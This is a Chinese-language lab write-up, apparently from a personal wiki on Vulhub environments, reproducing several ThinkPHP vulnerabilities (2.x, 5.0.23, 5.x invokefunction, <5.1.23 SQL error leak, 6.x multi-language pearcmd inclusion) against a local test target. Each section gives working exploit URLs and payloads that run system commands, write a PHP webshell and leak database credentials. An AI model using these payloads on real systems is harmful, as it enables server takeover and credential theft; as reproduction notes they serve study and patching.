漏洞复现
Vulhub-漏洞环境搭建
1panel
Bash
Tomcat
Apache Shiro框架漏洞
Apache Struts2
Apache漏洞
ThinkPHP框架漏洞
MySQL写入shell
-
+
首页
ThinkPHP框架漏洞
# 一、关于think PHP ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。 最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。 ThinkPHP可以支持windows/[Unix](https://baike.baidu.com/item/Unix?fromModule=lemma_inlink)/Linux等服务器环境,正式版需要[PHP](https://baike.baidu.com/item/PHP/9337?fromModule=lemma_inlink)5.0以上版本支持,支持[MySql](https://baike.baidu.com/item/MySql/471251?fromModule=lemma_inlink)、[PgSQL](https://baike.baidu.com/item/PgSQL?fromModule=lemma_inlink)、[Sqlite](https://baike.baidu.com/item/Sqlite?fromModule=lemma_inlink)多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。 > 目录结构  # 二、ThinkPHP 2.x 任意代码执行漏洞 ThinkPHP 2.x版本中,使用`preg_replace`的`/e`模式匹配路由 路由规则: ```php $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); ``` > 靶场环境  构造正则表达式 ``` s=/index/index/name/$%7B@phpinfo()%7D ```  # 三、ThinkPHP 5.0.23 远程代码执行漏洞 > 漏洞原因 在版本5.0(<5.0.24)中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞 > 漏洞复现 ``` 漏洞位置:http://192.168.84.174:8080/index.php?s=captcha payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=系统命令 ```  注意:需要将GET请求方式修改为POST # 四、ThinkPHP-5-rce > 漏洞原因 其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞 > 漏洞复现 payload: ```php /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 ```  命令执行payload ```php /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ```  写shell的payload ``` /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码 ``` # 五、Thinkphp < 5.1.23 设计缺陷导致泄漏数据库账户密码 > 漏洞原因 传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。 ThinkPHP5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。 影响版本:ThinkPHP < 5.1.23 > 漏洞复现  payload ``` /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 ``` 数据库用户名和密码被爆出  # 六、ThinkPHP 多语言 RCE > 漏洞原因 在其6.0.13版本及以前,存在一处本地文件包含漏洞。 当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。 首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含/public/index.php文件来确认文件包含漏洞是否存在;如果漏洞存在,则服务器会出错,返回500页面。 虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件 **重点:**如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含 trick 即可实现 RCE **影响版本**:Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x 参考连接:https://tttang.com/archive/1865/ > 漏洞复现 payload ``` ?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php ```   访问shell.php文件 
毛林
2025年9月18日 16:30
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码